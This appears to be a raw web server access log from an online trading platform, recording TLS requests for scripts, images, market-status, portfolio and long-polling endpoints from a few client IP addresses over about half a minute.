[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:18:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767932564197 HTTP/1.1" 3188
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 215
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932566671 HTTP/1.1" -
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:19 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1474
[09/Jan/2026:12:18:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932568877 HTTP/1.1" -
[09/Jan/2026:12:18:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932569962 HTTP/1.1" -
[09/Jan/2026:12:18:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932569717 HTTP/1.1" -
[09/Jan/2026:12:18:24 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932571734 HTTP/1.1" -
[09/Jan/2026:12:18:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932574078 HTTP/1.1" -
[09/Jan/2026:12:18:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932574983 HTTP/1.1" -
[09/Jan/2026:12:18:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932574785 HTTP/1.1" -
[09/Jan/2026:12:18:29 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932576778 HTTP/1.1" -
[09/Jan/2026:12:18:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932579473 HTTP/1.1" -
[09/Jan/2026:12:18:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932580028 HTTP/1.1" -
[09/Jan/2026:12:18:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932579981 HTTP/1.1" -
[09/Jan/2026:12:18:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932581841 HTTP/1.1" -
[09/Jan/2026:12:18:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932585074 HTTP/1.1" -
[09/Jan/2026:12:18:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932584780 HTTP/1.1" -
[09/Jan/2026:12:18:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932585164 HTTP/1.1" -
[09/Jan/2026:12:18:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:39 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932586904 HTTP/1.1" -
[09/Jan/2026:12:18:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932590127 HTTP/1.1" -
[09/Jan/2026:12:18:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932589999 HTTP/1.1" -
[09/Jan/2026:12:18:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932590379 HTTP/1.1" -
[09/Jan/2026:12:18:44 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932591961 HTTP/1.1" -
[09/Jan/2026:12:18:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932595174 HTTP/1.1" -
